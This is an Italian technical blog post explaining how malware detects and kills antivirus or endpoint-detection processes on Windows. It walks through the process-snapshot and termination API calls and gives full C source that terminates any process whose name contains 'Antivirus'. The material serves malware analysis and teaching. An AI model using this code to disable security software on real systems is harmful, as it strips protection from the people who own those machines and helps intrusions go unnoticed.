Come un malware può Killare un antivirus.
- Antonio Capobianco
- Visite: 8283
Una delle caratteristiche dei malware è la capacità di individuare e disattivare sistemi di end point detection o antivirus.
Ma come possono eseguire queste operazioni?
Parlando di processi che operano in ambiente windows è necessario che il software malevolo sia in grado di creare uno snapshot della memoria, ciclare su tutti i processi ivi presenti, individuare il processo da disattivare ed infine disattivarlo.
Le primitive che dobbiamo andare a utilizzare durante un’analisi sono:
• CreateToolHelp32Snapshot: esegue uno snapshot della memoria e restituisce un handler che chiamiamo hProcessSnap
• Process32First e Process32Next: che sono in grado di identificare i processi attivi nello snapshot e richiamate all’interno di un ciclo ci permettono di ricercare il processo con il nome che noi vogliamo es. Antivirus.exe
• Una volta identificato il processo acquisisco il suo handler con diritti PROCESS_TERMINATE
• Lo termino con TerminateProcess
Naturalmente il malware deve ottenere i diritti amministrativi necessari per eseguire quest’azione
Nel codice seguente eseguo quest’azione ricercando un processo ipotetico chiamato Antivirus.exe :
int main(void)
{
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
int trovato = 0;
WCHAR nome[] = L"Antivirus";
// faccio lo snapshot dei processi di sistema
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot (of processes)");
return(FALSE);
}
// definisco la dimensione della struttura pe32 utilizzata nel ciclo
pe32.dwSize = sizeof(PROCESSENTRY32);
// Prendo le info del primo processo
if (!Process32First(hProcessSnap, &pe32))
{
printf("Errore in Process32First");
CloseHandle(hProcessSnap);
return(FALSE);
}
//Ora ciclo tra tutti i processi nello snapshot
do
{
if (wcsstr(pe32.szExeFile,nome) > 0) { //cerco se il nome del processo contiene la stringa di ricerca
wprintf(L"Termino %s \n", pe32.szExeFile); // scrivo che sto terminando il processo
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD) pe32.th32ProcessID); //acquisisco l'handle con i diritti corretti
TerminateProcess(hProcess, 9); // termino il processo
trovato = 1;}
} while (Process32Next(hProcessSnap, &pe32) && !trovato); //continuo con il prox processo nello snapshot
CloseHandle(hProcessSnap);
return(TRUE);
}